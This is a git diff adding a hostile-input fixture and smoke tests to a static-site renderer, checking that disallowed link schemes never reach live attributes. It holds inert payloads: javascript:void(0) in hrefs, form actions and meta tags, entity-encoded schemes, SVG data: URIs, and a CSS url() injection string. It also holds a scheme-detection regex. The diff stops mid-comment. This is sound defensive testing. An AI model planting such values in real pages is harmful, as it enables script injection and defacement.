diff --git a/.gitignore b/.gitignore
index d5a45f1..b19db80 100644
--- a/.gitignore
+++ b/.gitignore
@@ -27,6 +27,10 @@ node_modules/
 packages/sitetile/astro/dist-smoke/
 packages/sitetile/astro/dist/
 packages/sitetile/astro/.astro/
+# the smoke's SECOND, isolated build — a throwaway rsync'd copy of astro/ with its own hostile
+# content/blog fixture (site-level fields a single-page fixture can't exercise; see
+# smoke-build.mjs's buildHostileBlogFixture for why). Rebuilt every smoke run, never committed.
+packages/sitetile/.smoke-hostile-blog/
 # @tile/build stashes the renderer's own content/, blog/, pagetile/ and public/ HERE while it builds
 # somebody's site, and moves them back afterwards — including when the build throws. The directory
 # should never outlive a build; it is ignored because the one time it does (a killed process) the
diff --git a/packages/sitetile/astro/content/scheme-check.md b/packages/sitetile/astro/content/scheme-check.md
new file mode 100644
index 0000000..83e0173
--- /dev/null
+++ b/packages/sitetile/astro/content/scheme-check.md
@@ -0,0 +1,151 @@
+---
+sitetile-page: scheme-check
+title: Scheme check — disallowed destinations must never reach a live sink
+lang: en-US
+# round 4 (R3-P2-1/R3-P3-1/R3-P2-2): every field below is set on THIS page's own frontmatter
+# (never the shared _site.md), so none of it leaks onto any other fixture page — page keys
+# override site keys in the merged meta (see pages/[...path].astro's siteConfig merge).
+favicon: javascript:void(0)
+fonts: javascript:void(0)
+header-cta: Buy now=javascript:void(0)
+# header-actions-cart-href (R3-P2-1, second instance): reaches window.location.href in
+# header-actions-cart.js, not an href=/src= attribute — the sink the R3 sweep's literal
+# `href=|src=` grep could not see. Requires the guild + a `cart` toggle to wire at all.
+header-actions: Cart=cart toggle cart
+header-actions-cart-guild: scheme-check-cart
+header-actions-cart-href: javascript:void(0)
+# round 5 (R4-P3-1): share-image:/og-image: reaching a live <meta property=og:image>/
+# <meta name=twitter:image> with no gate — absUrl only makes a relative path absolute, it does
+# not touch a value that already carries its own scheme.
+share-image: javascript:void(0)
+---
+
+## Contact — disallowed scheme in the form action
+%% sitetile: form action="javascript:void(0)" submit="Send" %%
+R3-P2-1: `action=` reaching a live `<form action>` with no gate. A disallowed scheme must
+degrade to no backend (disabled submit), never a live `action="javascript:…"`.
+
+### Name
+
+## Contact — safe sibling (control)
+%% sitetile: form action="/safe-contact" submit="Send" %%
+The safe sibling: same coral, a normal destination, proving the check above did not just
+turn every form off.
+
+### Name
+
+## Workshop tools
+%% sitetile: collection eyebrow="Scheme check" %%
+A grouped collection: a hostile item (disallowed scheme in the whole-card GH-style link, an
+entity-encoded scheme in its `learn:` secondary link) beside a safe sibling.
+
+### Group
+#### Hostile item →javascript:void(0) "Bad"
+The card-wide GH-style link is a disallowed scheme.
+learn: javascript&#58;void(0)
+
+#### Safe item →https://github.com/example/safe-scheme-check "Good"
+The safe sibling — same coral, live destinations, control for the check above.
+learn: /safe-learn
+
+## Linked cells
+%% sitetile: grid cols=2 %%
+### Hostile cell →javascript:void(0) "Bad"
+A whole-cell link with a disallowed scheme.
+
+### Safe cell →/safe-grid "Good"
+A whole-cell link with a safe destination — control.
+
+## Gallery
+%% sitetile: gallery %%
+### Hostile gallery cell →javascript:void(0)
+A disallowed scheme on a gallery cell.
+
+### Safe gallery cell →/safe-gallery
+A safe sibling — control.
+
+## Carousel
+%% sitetile: carousel %%
+### Hostile carousel cell →javascript:void(0)
+A disallowed scheme on a carousel cell.
+
+### Safe carousel cell →/safe-carousel
+A safe sibling — control.
+
+## Roster
+%% sitetile: people %%
+### Hostile person →javascript:void(0)
+![Hostile portrait](data:image/svg+xml;base64,PHN2Zz4=)
+An SVG `data:` portrait (excluded from the raster allowlist — an SVG can carry its own
+`<script>`) beside a disallowed-scheme name link and a disallowed-scheme entry in `links:`.
+links: Bad=javascript:void(0), Good=/safe-person-link
+
+### Safe person →/safe-person
+![Safe portrait](data:image/png;base64,iVBORw0KGgo=)
+A raster PNG `data:` portrait — allowed by policy (round 2, P1-2) — the control for the SVG
+case above: the check must be able to tell these two `data:` images apart.
+
+## Tag cloud
+%% sitetile: tagcloud %%
+- [Bad tag](javascript:void(0))
+- [Good tag](/safe-tag)
+- [Protocol-relative tag](//example.test/x)
+
+## Background image
+%% sitetile: hero bg=javascript:void(0) %%
+A disallowed scheme in `bg=` reaching a live CSS `url()` with no gate before round 4 — the
+same sink class as `logo=`/`layers=` elsewhere in this coral (found sweeping every `url(` in
+this file, not from the round 3 review). Must degrade to no background image at all, on
+both the reference renderer (site-core.js) and this Astro build.
+
+## Safe background image (control)
+%% sitetile: hero bg=/safe-bg.jpg %%
+round 5 (R4-P3-6): a SAFE `bg=` must still emit a QUOTED, CSS-string-escaped `url()` — the fix
+changed what a SAFE destination renders as too, not only what a disallowed one degrades to.
+
+## CSS injection guard
+%% sitetile: hero bg=/safe-bg.jpg);position:fixed;inset:0;background:red %%
+round 5 (R4-P3-6): the review's own reproduction — an otherwise-ALLOWED destination (a plain
+relative path) reaching an UNQUOTED CSS `url()` token, so its own `)`/`;` closed the declaration
+early and opened new ones: a full-viewport defacement primitive from a page parameter, no script
+involved. The whole value must stay inert inside one quoted CSS string now.
+
+## Call to action
+%% sitetile: cta button="Hostile CTA"→javascript:void(0) %%
+[Safe CTA](/safe-cta)
+
+The primary button (`button=`) is a disallowed scheme and must drop to plain text; the secondary
+— an ordinary body link-only paragraph — is safe (control), proving the coral did not just turn
+every button off.
+
+## Follow us
+%% sitetile: social %%
+[Bad social](javascript:evil) · [Safe social](/safe-social)
+
+Same button-row helper as `cta` (`linkButtonsHtml`), reached through a DIFFERENT coral and body
+convention (a links-only paragraph, not a `button=` param) — proving the gate lives on the shared
+helper, not duplicated per caller.
+
+## Company history
+%% sitetile: timeline %%
+### 2026
+No href/src of its own — a structural coral (heading + prose only), listed here purely to reach
+14/14 KNOWN_TYPES coverage (R4-P3-5).
+
+## Frequently asked questions
+%% sitetile: faq %%
+### Does this coral emit a destination?
+No href/src of its own either — same reason as `timeline`, above.
+
+## Closing thoughts
+%% sitetile: prose %%
+Ordinary prose paragraph, unaffected by any of this.
+
+[Bad prose link](javascript:evil) · [Safe prose](/safe-prose)
+
+## Embed passthrough (accepted residual)
+%% sitetile: embed %%
+Embed passthrough control. `embed` is the ONE documented raw-HTML escape hatch
+(`Embed.astro`'s own `set:html={section.body}`) — `sweep2` reports it "STILL UNSAFE" by
+accepted policy, not by an omission this round closes. Kept as plain text here (never a working
+payload) so this fixture's presence at 14/14 does not itself carry one.
diff --git a/packages/sitetile/astro/smoke-build.mjs b/packages/sitetile/astro/smoke-build.mjs
index c5660b9..b43b16a 100644
--- a/packages/sitetile/astro/smoke-build.mjs
+++ b/packages/sitetile/astro/smoke-build.mjs
@@ -22,7 +22,10 @@
 // client JS must be added here CONSCIOUSLY, with its doctrine, or the build goes red.
 
 import { execFileSync } from 'node:child_process';
-import { copyFileSync, readFileSync, readdirSync, rmSync, statSync, existsSync } from 'node:fs';
+import {
+  copyFileSync, readFileSync, readdirSync, rmSync, statSync, existsSync,
+  cpSync, mkdirSync, symlinkSync, writeFileSync,
+} from 'node:fs';
 import { fileURLToPath } from 'node:url';
 import { dirname, join } from 'node:path';
 
@@ -80,6 +83,10 @@ const tagFixture = readFileSync(join(DIST, 'tag/fixture/index.html'), 'utf8');
 const zhTagFixture = readFileSync(join(DIST, 'zh-tw/tag/fixture/index.html'), 'utf8');
 const sitemapXml = readFileSync(join(DIST, 'sitemap.xml'), 'utf8');
 const siteOff = readFileSync(join(DIST, 'ko-kr/index.html'), 'utf8');
+// round 4 (R3-P2-2): scheme-check.md — the hostile fixture the Astro half of the escape-link-
+// destinations fix never had. See its own file header for what each slot exercises; the checks
+// below live near the icon/JS-accounting checks further down, grouped under their own heading.
+const schemeCheck = readFileSync(join(DIST, 'scheme-check/index.html'), 'utf8');
 // Safe negative-control seam: mutate only the HTML held by this test process, never source/output.
 const customTheme = process.env.SITETILE_SMOKE_REMOVE_CUSTOM_MARKER === '1'
   ? customThemeBuilt.replace(/\sdata-theme-custom(?:="")?/, '')
@@ -124,6 +131,20 @@ const ALLOWED_INLINE = [
   // just don't see the submitting-state / success-card / inline-retry-error swap in — see
   // Form.astro's file-header note on this script, 2026-09-03 owner ruling.
   ['form inbox status (action=inbox only, self-gating on ?inbox= + AJAX submit)', '[data-inbox-success]'],
+  // header-actions cart wiring (round 4's scheme-check.md is the first fixture to opt in via
+  // header-actions-cart-guild): strictly opt-in and self-gating (no `.rf-header-actions
+  // [data-cart-guild]` on the page → no-op) — see header-actions-cart.js's own file header.
+  ['header-actions cart wiring (opt-in on header-actions-cart-guild)', 'dc-square-shop-cart:'],
+  // rf-preload guard (round 4's scheme-check.md is the first fixture with ANY toggle-type
+  // header-action, e.g. the cart drawer above): gated on `toggleActions.length > 0`
+  // (SiteLayout.astro), so a page with only `link`-type header-actions never loads it. Removes
+  // the `rf-preload` class after the first paint — a double-rAF, not a `DOMContentLoaded`, so it
+  // fires after the drawer/overlay CSS this class suppresses has had a frame to settle.
+  ['header-actions preload-flash guard (double-rAF rf-preload removal, gated on any toggle header-action)', 'rf-preload'],
+  // carousel scroll-snap wiring (round 4's scheme-check.md is the first fixture to use the
+  // `carousel` coral at all — round 2 already named it as untested). Self-gates per instance
+  // (`dataset.carInit`) and no-ops with zero `.st-carousel` sections on the page.
+  ['carousel prev/next + overflow wiring (per-instance self-gating, zero-op with no .st-carousel)', 'carInit'],
 ];
 const ALLOWED_CHUNKS = [
   ['pagetile reader', 'ptr-mode:'],
@@ -226,6 +247,266 @@ function claimedIcons() {
   return [...claimed];
 }
 
+// ---- round 4 (R3-P2-2): the disallowed-scheme sweep over a real built page ----
+// The astro smoke builds real pages and audits the emitted HTML/JS — the only gate in this repo
+// that does — but until now it had no assertion about link/image/form destinations at all
+// (grepped: `javascript:|safeHref|safeSrc|scheme` over this file returned nothing). This is
+// that missing assertion, run against content/scheme-check.md (see its own file header for what
+// every slot exercises) — and it scans the WHOLE page, so a regression anywhere else on this
+// page would be caught here too, not just in the fixture's own named slots.
+//
+// Anchored to actual TAGS (`<[a-zA-Z][^>]*>`), never the raw page text — a prose sentence that
+// QUOTES a disallowed destination (this fixture's own explanatory copy does, deliberately, inside
+// a `<span class="st-code">`) sits between `>` and `<`, never inside a tag's attribute list, so
+// it cannot forge a false hit the way a plain `.includes('javascript:')` over the whole string
+// would (verified below: the fixture's own prose is the ONE surviving `javascript:` substring on
+// the page, and it must NOT trip this check for the check to be honest — see the "prose does not
+// count" test in the checks list).
+const DISALLOWED_SCHEME_RE = /^\s*(javascript:|vbscript:|data:text\/html|data:image\/svg\+xml)/i;
+// round 5 (R4-P3-4): the scan used to test the RAW attribute text — a scheme obfuscated by HTML
+// entities (`javascript&#58;alert(1)`, the fixture's OWN deliberately-carried payload) or by a
+// literal tab/CR/LF inside the scheme name (both defeat a naive substring test and both still
+// parse to `javascript:` per the URL spec — the exact reasoning isSafeHref's own header gives for
+// entity-decoding before its scheme check) survived the scan silently: "under a gate regression
+// the scan would report clean on the very payload the fixture was built to carry." Decoding the
+// SAME handful of entities isSafeHref decodes (numeric + the 5 named ones), and stripping the 3
+// ASCII whitespace bytes a URL parser strips from a scheme, before the prefix test, closes that —
+// this is the SCAN reaching parity with the thing it is scanning FOR, not a new policy.
+function schemeLooksDisallowed(v) {
+  const s = String(v == null ? '' : v)
+    .replace(/&#x([0-9a-fA-F]+);?/g, (m, h) => { try { return String.fromCodePoint(parseInt(h, 16)); } catch { return m; } })
+    .replace(/&#(\d+);?/g, (m, d) => { try { return String.fromCodePoint(parseInt(d, 10)); } catch { return m; } })
+    .replace(/&(amp|lt|gt|quot|apos);/g, (m, e) => ({ amp: '&', lt: '<', gt: '>', quot: '"', apos: "'" }[e]))
+    .replace(/[\t\r\n]/g, '');
+  return DISALLOWED_SCHEME_RE.test(s);
+}
+function disallowedSchemeHits(h) {
+  const hits = [];
+  // href=/src=/action=/data-cart-href — the literal sinks the R3 sweep grepped for.
+  //
+  // round 5 (R4-P3-4): the ORIGINAL scan used `exec` once per tag — only the FIRST matching
+  // attribute was ever tested, so `<a src="/ok" href="javascript:void(0)">` would have been MISSED
+  // (latent: no tag in this renderer's output carries two of these attributes today, but the shape
+  // — "an existence check that stops at the first match" — is exactly this file's own review
+  // vocabulary). Looped with `/g` so every occurrence in a tag is tested, not just the first.
+  const attrRe = /\b(?:href|src|action|data-cart-href)="([^"]*)"/g;
+  for (const tag of h.match(/<[a-zA-Z][^>]*>/g) || []) {
+    attrRe.lastIndex = 0;
+    let am;
+    while ((am = attrRe.exec(tag))) if (schemeLooksDisallowed(am[1])) hits.push(tag.slice(0, 160));
+    // srcset="…, …" — round 5 (R4-P3-4): a comma-separated list of "<url> <descriptor>"
+    // candidates. The old `^`-anchored whole-value test could only ever see a hostile FIRST
+    // candidate; a later one needs each candidate split out and tested on its own. (No `srcset`
+    // is emitted by this renderer today — latent, same as the /g fix above, closed while here.)
+    const sm = /\bsrcset="([^"]*)"/.exec(tag);
+    if (sm) for (const cand of sm[1].split(',')) if (schemeLooksDisallowed(cand.trim())) hits.push(tag.slice(0, 160));
+    // <meta property=og:image|twitter:image|http-equiv=refresh content="…"> — round 5 (R4-P3-1):
+    // a DIFFERENT attribute name than the href/src/action/data-cart-href set above, so it needed
+    // its own check, not a widened alternation (a `content=` on a non-meta tag is not a sink).
+    if (/^<meta\b/i.test(tag)) {
+      const cm = /\bcontent="([^"]*)"/.exec(tag);
+      if (cm && schemeLooksDisallowed(cm[1])) hits.push(tag.slice(0, 160));
+    }
+    // style="…url(…)…" — round 5 (R4-P3-4/R4-P3-6): the hero `bg=`/`enter` sink. Matches whether
+    // the URL is quoted (this round's own cssUrlString fix) or bare, so the scan survives its own
+    // fix rather than being written to only recognise the pre-fix shape.
+    const stm = /\bstyle="([^"]*)"/.exec(tag);
+    if (stm) {
+      const urlRe = /url\(\s*(['"]?)([^'")]*)/gi;
+      let um;
+      while ((um = urlRe.exec(stm[1]))) if (schemeLooksDisallowed(um[2])) hits.push(tag.slice(0, 160));
+    }
+  }
+  // Inline <script> assignments to `location`/`location.href`/a bare `.href` — the same DOM-sink
+  // class as data-cart-href, checked directly in case a future script reads a different
+  // attribute the same unsafe way.
+  const scriptRe = /<script\b[^>]*>([\s\S]*?)<\/script>/g;
+  let sm2;
+  while ((sm2 = scriptRe.exec(h))) {
+    const assignRe = /(?:location(?:\.href)?|\.href)\s*=\s*([`'"])((?:(?!\1)[\s\S])*)\1/g;
+    let am;
+    while ((am = assignRe.exec(sm2[1]))) if (schemeLooksDisallowed(am[2])) hits.push('<script> ' + am[0].slice(0, 160));
+  }
+  return hits;
+}
+
+// round 5 (R4-P2-1): disallowedSchemeHits used to be called on exactly ONE fixture page
+// (scheme-check.md) — the gate that exists to prevent recurrence of R4-P1-1's class was
+// structurally unable to observe it, because R4-P1-1 lived on the BLOG page family the scan never
+// looked at. Runs the same scan over EVERY built HTML page (the same `pages` list auditScripts()
+// already walks — one source of "every page this build produced", not a second one that can drift
+// from it) plus the non-HTML outputs that carry URLs at all: rss.xml/sitemap.xml (text nodes, not
+// HTML attributes — a URL-shaped substring test, not the tag-anchored scan above) and the archive
+// island's own client corpus (search-index.json, reef-posts.json — both plain JSON, parsed and
+// read as data, not scanned as text, since a JSON string value can legitimately CONTAIN the
+// substring "javascript:" — e.g. an excerpt that quotes it — without that being a live sink).
+function siteWideSchemeHits(distDir, allPages, rssBody, sitemapBody) {
+  const hits = [];
+  for (const page of allPages) {
+    for (const hit of disallowedSchemeHits(readFileSync(page, 'utf8'))) hits.push(`${page.slice(distDir.length + 1)}: ${hit}`);
+  }
+  for (const [label, body, tag] of [['rss.xml', rssBody, 'link'], ['sitemap.xml', sitemapBody, 'loc']]) {
+    const re = new RegExp(`<${tag}>([^<]*)</${tag}>`, 'g');
+    let m;
+    while ((m = re.exec(body || ''))) if (/^\s*(javascript:|vbscript:)/i.test(m[1])) hits.push(`${label}: <${tag}>${m[1].slice(0, 160)}`);
+  }
+  for (const file of ['search-index.json', 'reef-posts.json']) {
+    const p = join(distDir, file);
+    if (!existsSync(p)) continue;
+    let rows;
+    try { rows = JSON.parse(readFileSync(p, 'utf8')); } catch { hits.push(`${file}: not valid JSON`); continue; }
+    for (const row of Array.isArray(rows) ? rows : []) {
+      for (const v of [row.u, row.i, row.url]) if (v != null && /^\s*(javascript:|vbscript:)/i.test(String(v))) hits.push(`${file}: ${JSON.stringify(row).slice(0, 160)}`);
+    }
+  }
+  return hits;
+}
+
+// round 5 (R4-P2-1): run the widened, site-wide scan ONCE against the primary build, before the
+// `checks` array below (each check just reads this precomputed result — re-running a full-site
+// regex sweep per assertion would be wasteful, and the failure list should be printed once, not
+// once per assertion that reads it).
+const siteWideHits = siteWideSchemeHits(DIST, pages, rss, sitemapXml);
+
+// round 5 (R4-P1-1/R4-P2-1): a SEPARATE, isolated Astro build proving the fix on the fields
+// R4-P1-1 actually named — `permalink:`, `blog-url-pattern:`, `blog-path:`, plus the term-archive
+// `blog-category-base:`/`blog-tag-base:` this round found were the SAME shape (see blog.mjs's
+// categoryBase()/tagBase()). These are SITE-level (`_site.md`) fields, so they cannot be exercised
+// as a per-page override the way scheme-check.md's other fields are (page frontmatter overrides
+// site frontmatter for THAT page only — these fields apply to the whole blog at once, which is
+// the R4-P1-1 finding's own point: "one hostile post poisons other posts' pages, the feed, the
+// sitemap and the client corpus"). A second astro build, into its own isolated content/blog/
+// fixture and its own outDir, is the only way to exercise that without the hostile config leaking
+// onto the primary build's ~130 other assertions.
+//
+// The fixture directory is rsync'd from THIS `astro/` tree (excluding node_modules/.astro/
+// dist-*/the fixture dir itself) rather than hand-duplicated, so it can never silently drift from
+// the real component tree; node_modules is a SYMLINK (never copied — same install, no second
+// `npm install`, and this build never writes into it) back to the real one.
+function buildHostileBlogFixture() {
+  // A SIBLING of `astro/` (not nested inside it — cpSync refuses to copy a directory into its own
+  // subtree, and the astro.config.mjs aliases are relative to the config file's OWN location, so
+  // this has to sit at the SAME depth under packages/sitetile/ that astro/ itself does for
+  // `../site-core.js` etc. to resolve to the same real files).
+  const HDIR = join(HERE, '..', '.smoke-hostile-blog');
+  const SKIP_RE = /[\\/](node_modules|\.astro|dist-smoke|dist-hostile-blog|\.smoke-hostile-blog)(?:[\\/]|$)/;
+  rmSync(HDIR, { recursive: true, force: true });
+  cpSync(HERE, HDIR, { recursive: true, filter: (src) => !SKIP_RE.test(src) });
+  symlinkSync(join(HERE, 'node_modules'), join(HDIR, 'node_modules'), 'dir');
+
+  // A minimal, self-contained site — safe `blog-path` (so a reader can tell "reset to nothing
+  // configured" apart from "kept the site's own real base"), hostile `blog-url-pattern` (poisons
+  // EVERY post, not just the one with its own override — the R4-P1-1 finding's own "one hostile
+  // post poisons other posts' pages" shape, here from the site config instead), hostile
+  // `blog-category-base`/`blog-tag-base` with the term routes turned on, and `blog-search: true`
+  // so search-index.json actually carries content (the primary build's own search stays off,
+  // so this is the one build that exercises that file with real rows).
+  rmSync(join(HDIR, 'content'), { recursive: true, force: true });
+  mkdirSync(join(HDIR, 'content'), { recursive: true });
+  writeFileSync(join(HDIR, 'content', '_site.md'), `---
+sitetile-page: _site
+title: Hostile blog site
+lang: en-US
+blog-path: /diary
+blog-url-pattern: javascript:void(0)#%postname%
+blog-category-routes: true
+blog-tag-routes: true
+blog-category-base: javascript:void(0)
+blog-tag-base: javascript:void(0)
+blog-search: true
+---
+`, 'utf8');
+  writeFileSync(join(HDIR, 'content', 'home.md'), `---
+sitetile-page: home
+title: Hostile blog site — home
+lang: en-US
+---
+
+## Home
+%% sitetile: prose %%
+Home page body.
+`, 'utf8');
+
+  rmSync(join(HDIR, 'blog'), { recursive: true, force: true });
+  mkdirSync(join(HDIR, 'blog'), { recursive: true });
+  // The permalink override — R4-P1-1's "concrete failing input #1".
+  writeFileSync(join(HDIR, 'blog', 'hostile-permalink-post.md'), `---
+title: Hostile permalink post
+pubDate: 2026-01-01
+permalink: javascript:void(0)
+categories: [team]
+tags: [news]
+---
+
+Body text for the hostile-permalink post.
+`, 'utf8');
+  // No permalink of its own — this post's URL comes ENTIRELY from the site's own (hostile)
+  // blog-url-pattern, proving the site-level poisoning reaches a post that did nothing wrong.
+  writeFileSync(join(HDIR, 'blog', 'safe-post.md'), `---
+title: Safe control post
+pubDate: 2026-01-02
+categories: [team]
+tags: [news]
+---
+
+Body text for the safe control post — no permalink override of its own.
+`, 'utf8');
+  // round 5 (R4-P3-2): a post's featured image is its FIRST body image, extracted straight off a
+  // markdown regex with no gate — reached a live blog-card <img src> even though the SAME image,
+  // in the SAME post's body, is refused by imgTag/isSafeImageSrc. Isolated here (rather than the
+  // primary build) because it needs its own post, and this fixture's small, purpose-built corpus
+  // makes "the entry still renders, only the image drops" unambiguous to assert.
+  writeFileSync(join(HDIR, 'blog', 'svg-image-post.md'), `---
+title: SVG featured image post
+pubDate: 2026-01-03
+categories: [team]
+tags: [news]
+---
+
+![SVG featured](data:image/svg+xml;base64,PHN2Zz4=)
+
+Body text for the SVG-featured-image post.
+`, 'utf8');
+
+  const HDIST = join(HDIR, 'dist-hostile-blog');
+  execFileSync('npx', ['astro', 'build', '--outDir', HDIST], {
+    cwd: HDIR, stdio: 'inherit',
+    env: { ...process.env, SITE_ID: 'hostile-blog-smoke', PLATFORM_ORIGIN: 'https://feelreef.com', SITE_URL: 'https://example.com' },
+  });
+  return HDIST;
+}
+
+console.log('▸ astro build → .smoke-hostile-blog/dist-hostile-blog/ (R4-P1-1: site-level blog-path/blog-url-pattern/category-tag-base poisoning)…');
+const HDIST = buildHostileBlogFixture();
+// round 5: a two-arm counterfactual (identity-swap safeHref/safeSrc) doesn't just make an
+// assertion go red here — it makes postUrl() return the raw hostile permalink VERBATIM, which
+// getStaticPaths() then builds as a literal directory name (`javascript:void(0)/index.html`, the
+// review's own "a directory literally named javascript:void(0)/ is emitted" finding) INSTEAD OF
+// `diary/hostile-permalink-post/`. A plain readFileSync on the expected path then throws ENOENT
+// and crashes the whole process before a single assertion below gets to run — losing the primary
+// build's ~150 assertions' worth of evidence along with it. `readOrEmpty` turns that crash into an
+// empty string, so every check that reads it simply goes red (the intended, legible failure mode
+// for a counterfactual arm), and the checks that don't depend on the hostile build still run.
+const readOrEmpty = (p) => { try { return readFileSync(p, 'utf8'); } catch { return ''; } };
+const hostileIndex = readOrEmpty(join(HDIST, 'diary', 'index.html'));
+const hostilePermalinkPost = readOrEmpty(join(HDIST, 'diary', 'hostile-permalink-post', 'index.html'));
+const hostileSafePost = readOrEmpty(join(HDIST, 'diary', 'safe-post', 'index.html'));
+const hostileCategoryArchive = readOrEmpty(join(HDIST, 'category', 'team', 'index.html'));
+const hostileTagArchive = readOrEmpty(join(HDIST, 'tag', 'news', 'index.html'));
+const hostileRss = readOrEmpty(join(HDIST, 'rss.xml'));
+const hostileSitemap = readOrEmpty(join(HDIST, 'sitemap.xml'));
+function findHostilePages(dir) {
+  const out = [];
+  (function walk(d) {
+    for (const e of readdirSync(d)) {
+      const p = join(d, e);
+      if (statSync(p).isDirectory()) walk(p); else if (e === 'index.html') out.push(p);
+    }
+  })(dir);
+  return out;
+}
+const hostileSiteWideHits = siteWideSchemeHits(HDIST, findHostilePages(HDIST), hostileRss, hostileSitemap);
+
 const checks = [
   // -- born-on site inbox bubble: site/page resolution + legacy embed dedupe --
   ['inbox bubble: default on with the build site key, platform origin, page title, and site name', () =>
@@ -728,6 +1009,154 @@ const checks = [
   //    blocks, markers, forms, custom-theme, byline, feed, icons, nav …) never changed and all
   //    still pass unmodified against this same build, which is the byte-identical proof: nothing
   //    in this feature altered a single non-Lingo, non-archive code path. --
+
+  // -- round 4 (R3-P2-1 / R3-P2-2 / R3-P3-1): scheme-check.md, the fixture this repo never had --
+  ['🔴 scheme-check: no disallowed scheme reaches any href=/src=/action=/srcset=/data-cart-href attribute, or any inline <script> location assignment, anywhere on the page', () =>
+    disallowedSchemeHits(schemeCheck).length === 0],
+  // CONTROL for the check above: the fixture's own explanatory prose deliberately quotes a
+  // disallowed destination inside plain text (`<span class="st-code">…action="javascript:…"…`)
+  // — if the check above were a naive `.includes('javascript:')` instead of a tag-anchored scan,
+  // it would report a false hit on this page's OWN copy and could never go green here. Proves
+  // the negative check just above is not vacuously true because it can't see the page's text.
+  ['🔴 the disallowed-scheme scan is tag-anchored, not a raw-text search (control: the fixture prose itself quotes "javascript:" in plain text)', () =>
+    schemeCheck.includes('action="javascript:') && disallowedSchemeHits(schemeCheck).length === 0],
+  ['scheme-check: form action= with a disallowed scheme emits no action= at all and disables the submit button', () => {
+    const first = schemeCheck.slice(schemeCheck.indexOf('<form class="st-form"'), schemeCheck.indexOf('</form>') + '</form>'.length);
+    return !/action=/.test(first.slice(0, first.indexOf('>')))
+      && /<button class="st-form-submit" type="submit" disabled>Send<\/button>/.test(first);
+  }],
+  ['scheme-check: the safe sibling form still posts to its own action (control — the check above did not just turn every form off)', () =>
+    /<form class="st-form" action="\/safe-contact" method="post">/.test(schemeCheck)],
+  ['scheme-check: header-cta with a disallowed scheme degrades to a plain span, label intact', () =>
+    /<span class="rf-header-cta">Buy now<\/span>/.test(schemeCheck)],
+  ['scheme-check: header-actions-cart-href is gated at its declaration point — never reaches data-cart-href, even though the cart IS wired (data-cart-guild present proves the slot was actually exercised, not skipped)', () =>
+    schemeCheck.includes('data-cart-guild="scheme-check-cart"') && !schemeCheck.includes('data-cart-href=')],
+  ['scheme-check: favicon/apple-touch-icon fall back to the generated paths when the mark is a disallowed scheme', () =>
+    /<link rel="icon"[^>]*href="\/favicon\.ico"/.test(schemeCheck)
+    && /<link rel="icon"[^>]*href="\/favicon\.svg"/.test(schemeCheck)
+    && schemeCheck.includes('<link rel="apple-touch-icon" href="/apple-touch-icon.png">')],
+  ['scheme-check: the fonts stylesheet (and its preconnects) are omitted entirely when fonts: is a disallowed scheme', () =>
+    !schemeCheck.includes('fonts.googleapis') && !schemeCheck.includes('fonts.gstatic')],
+  ['scheme-check: collection — the hostile item\'s card-wide GH link and learn link both drop (span, not <a>), the safe sibling\'s cover/GH/learn anchors all stay live (control)', () =>
+    !/<a class="st-item-gh"[^>]*href="javascript/.test(schemeCheck)
+    && /<h3>Hostile item<\/h3>/.test(schemeCheck)
+    && /<a class="st-item-cover" href="\/safe-learn" aria-label="Safe item"><\/a>/.test(schemeCheck)
+    && /<a class="st-item-gh" href="https:\/\/github\.com\/example\/safe-scheme-check" target="_blank" rel="noopener">/.test(schemeCheck)
+    && /<a class="st-item-learn" href="\/safe-learn">/.test(schemeCheck)],
+  ['scheme-check: grid — the hostile whole-cell link renders no <a> (just the label + chevron), the safe sibling\'s <a> is live (control)', () =>
+    /<div class="st-cell">\s*<h3>Hostile cell<\/h3>/.test(schemeCheck)
+    && /<a class="st-cell st-cell-link group" href="\/safe-grid">/.test(schemeCheck)],
+  ['scheme-check: gallery — same shape, safe sibling live (control)', () =>
+    /<div class="st-gal-cell">\s*<h3>Hostile gallery cell<\/h3>/.test(schemeCheck)
+    && /<a class="st-gal-cell st-cell-link group" href="\/safe-gallery">/.test(schemeCheck)],
+  ['scheme-check: carousel — same shape, safe sibling live (control)', () =>
+    /<div class="st-car-cell st-gal-cell">\s*<h3>Hostile carousel cell<\/h3>/.test(schemeCheck)
+    && /<a class="st-car-cell st-gal-cell st-cell-link group" href="\/safe-carousel">/.test(schemeCheck)],
+  ['scheme-check: people — a disallowed-scheme name link degrades to plain text (no <a> around it), the safe sibling\'s name link is live (control)', () =>
+    /<h3 class="st-person-name">\s*Hostile person\s*<\/h3>/.test(schemeCheck)
+    && /<h3 class="st-person-name">\s*<a href="\/safe-person">Safe person<\/a>\s*<\/h3>/.test(schemeCheck)],
+  ['scheme-check: people — an SVG data: portrait is dropped (no <img> at all), the raster PNG data: sibling still renders (the check must tell the two data: forms apart, not reject every data: URI)', () =>
+    !schemeCheck.includes('data:image/svg+xml')
+    && /<img class="st-img" src="data:image\/png;base64,iVBORw0KGgo=" alt="Safe portrait"/.test(schemeCheck)],
+  ['scheme-check: people links: row — the disallowed entry drops to a plain span, the safe entry stays a live <a> (control)', () =>
+    /<span class="st-person-link">Bad<\/span>/.test(schemeCheck)
+    && /<a class="st-person-link" href="\/safe-person-link">Good<\/a>/.test(schemeCheck)],
+  ['scheme-check: tagcloud — the disallowed tag drops to a span, the safe tag stays a live <a>, and a protocol-relative destination is admitted unchanged (R2-P3-3: an author who can write `//x` can already write `https://x`)', () =>
+    /<span class="st-tag">Bad tag<\/span>/.test(schemeCheck)
+    && /<a class="st-tag" href="\/safe-tag">Good tag<\/a>/.test(schemeCheck)
+    && /<a class="st-tag" href="\/\/example\.test\/x">Protocol-relative tag<\/a>/.test(schemeCheck)],
+  // 🩸 the section's OWN id (slugified from its "Background image" heading) contains the literal
+  // substring "background-image" — a bare `.includes('background-image')` on the tag would pass
+  // by matching the id, not by proving the absence of a live style. Checked for `style="` (what
+  // `bgOk ? ' style="…"' : ''` actually toggles) instead, which the id cannot forge.
+  ['scheme-check: hero bg= with a disallowed scheme renders no background-image at all (no style= attribute on the section)', () => {
+    const m = /<section class="st-hero st-full-bleed" id="s9-background-image"[^>]*>/.exec(schemeCheck);
+    return !!m && !m[0].includes('style=');
+  }],
+  // round 5 (R4-P3-6): a SAFE bg= must still emit a QUOTED, CSS-escaped url() — proves the fix
+  // did not just make disallowed schemes disappear, it changed what a SAFE one looks like too.
+  ['scheme-check: hero bg= with a SAFE destination emits a quoted url() (control for R4-P3-6 — a bare url() is the CSS-declaration-injection shape)', () =>
+    /id="s\d+-safe-background-image-control"[^>]*style="background-image:url\(&quot;\/safe-bg\.jpg&quot;\)"/.test(schemeCheck)],
+  // round 5 (R4-P3-6): the review's own `)`/`;` CSS-declaration-injection payload, reproduced —
